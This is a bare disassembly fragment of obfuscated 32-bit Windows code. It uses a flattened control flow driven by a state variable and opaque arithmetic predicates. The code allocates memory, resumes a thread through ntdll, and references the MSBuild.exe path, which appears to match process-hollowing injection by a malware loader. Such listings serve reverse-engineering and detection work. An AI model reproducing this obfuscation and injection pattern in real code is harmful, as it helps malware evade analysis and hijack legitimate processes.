mov dword [ebp - 0x24], eax
mov dword [ebp - 0x120], 0xe6c24cd7
jmp 0x10006a04
mov eax, dword [0x10068538]
mov ecx, dword [0x10068534]
mov edx, eax
sub edx, 0x347d2d6
sub edx, 1
add edx, 0x347d2d6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdb2411c0
mov ecx, 0x7f4ee3b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov dl, byte [ebp - 0x1d]
mov eax, 0x747f7d28
mov ecx, 0x61fb7fc6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov ecx, dword [0x10068538]
mov eax, dword [0x10068534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe7e5961e
mov ecx, 0xd182a342
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x10006a04
mov dword [ebp - 0x120], 0xea00910c
jmp 0x10006a04
mov eax, dword [ebp - 0x18]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x120], 0x2d9fb1ef
jmp 0x10006a04
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100072c0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x120], 0xa34631c8
jmp 0x10006a04
mov eax, dword [ebp - 0x104]
mov cl, byte [ebp - 0x90]
mov byte [eax], cl
mov eax, dword [ebp - 0x100]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x120], 0x280d884e
jmp 0x10006a04
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002a40
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov dword [ebp - 0x120], 0x3378977f
jmp 0x10006a04
mov ax, word [ebp - 0x60]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x120], 0xc651083a
jmp 0x10006a04
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x120], 0x713dd656
jmp 0x10006a04
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov dword [ebp - 0x120], 0xe67e16b0
jmp 0x10006a04
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x120], 0x7f4ee3b7
jmp 0x10006a04
mov dword [ebp - 0x120], 0x849c0d5f
jmp 0x10006a04
jmp 0x10003380